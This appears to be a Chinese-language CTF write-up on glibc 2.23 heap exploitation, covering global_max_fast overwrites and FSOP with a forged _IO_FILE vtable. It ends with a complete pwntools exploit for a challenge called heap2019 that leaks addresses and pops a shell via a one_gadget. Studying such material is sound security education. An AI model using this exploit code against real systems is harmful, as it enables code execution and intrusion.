#堆中global_max_fast相关利用
改写global_max_fast为一个较大的值,然后释放一个较大的堆块时,由于fastbins数组空间是有限的,其相对偏移将会往后覆盖,如果释放堆块的size可控,就可实现往fastbins数组(main_arena)后的任意地址写入所堆块的地址。
计算偏移的方式:
1 2 3
| fastbin_ptr=libc_base+libc.symbols['main_arena']+8 idx=(target_addr-fastbin_ptr)/8 size=idx*0x10+0x20
|
#FSOP
1 2 3 4 5
| if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; }
|
mode偏移0xc0
IO_write_ptr偏移0x28
IO_write_base偏移0x20
vtable偏移0xd8
简单记录gdb中查看io_file的指令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| p *(struct _IO_FILE_plus *) stdout $1 = { file = { _flags = 0xfbad2887, 0 _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 8 _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x10 _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x18 _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x20 _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x28 _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x30 _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 0x38 _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 0x40 _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, 0xc0 _unused2 = '\000' <repeats 19 times> }, vtable = 0x7ffff7dd06e0<_IO_file_jumps> 0xd8 }
|
在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8
虚表中_IO_OVERFLOW的偏移为0x18
例题:铁三2023
##heap2019
###思路
libc23,然后size大小>0x90,<=0x2333;漏洞:edit可以任意地址写0xdeadbeef。
所以先改global_max_fast为一个很大的值,算出偏移释放掉堆,伪造虚表vtable,fsop
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import* from LibcSearcher import* context.log_level='debug' ''' r=remote('node4.buuoj.cn',) libc=ELF('./libc-2.23.so') ''' r=process('./heap2019') libc=ELF('./2.23/libc.so.6')
def add(size,test): r.sendlineafter('4.exit','1') r.sendlineafter('Content length:',str(size)) r.sendafter('Content:',test)
def edit(test): r.sendlineafter('4.exit','2') r.sendafter('Comment:',test)
def dele(ind): r.sendlineafter('4.exit','3') r.sendlineafter('Content id:',str(ind))
def show(): r.sendlineafter('4.exit','2019') show() r.recvuntil('0x') pie=int(r.recv(12),16) print 'pie=',hex(pie)
fake_file = 'a' * (0x20 - 0x10) fake_file += p64(0) fake_file += p64(1) fake_file += 'b' * (0xb8 - 0x28) fake_file += p64(0) fake_file += 'c' * (0xd0 - 0xc0) fake_file += p64(pie+0xe0-0x40)
og=0x4525a
add(0x200,'aaaaa') add(0x13e0+0x20,fake_file) add(0x200,'ssss') dele(0) add(0x98,'s'*8) base=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\0'))-0x00007fb8363e7d78+0x7fb836024000 global_max_fast=base+0x3c5848 _IO_list_all=base+libc.sym['_IO_list_all'] print 'global_max_fast=',hex(global_max_fast) print '_IO_list_all=',hex(_IO_list_all)
edit('a'*0x18+p64(og+base)+p64(global_max_fast+1)) dele(1) print hex(og+base)
r.sendlineafter('4.exit','4')
r.interactive()
|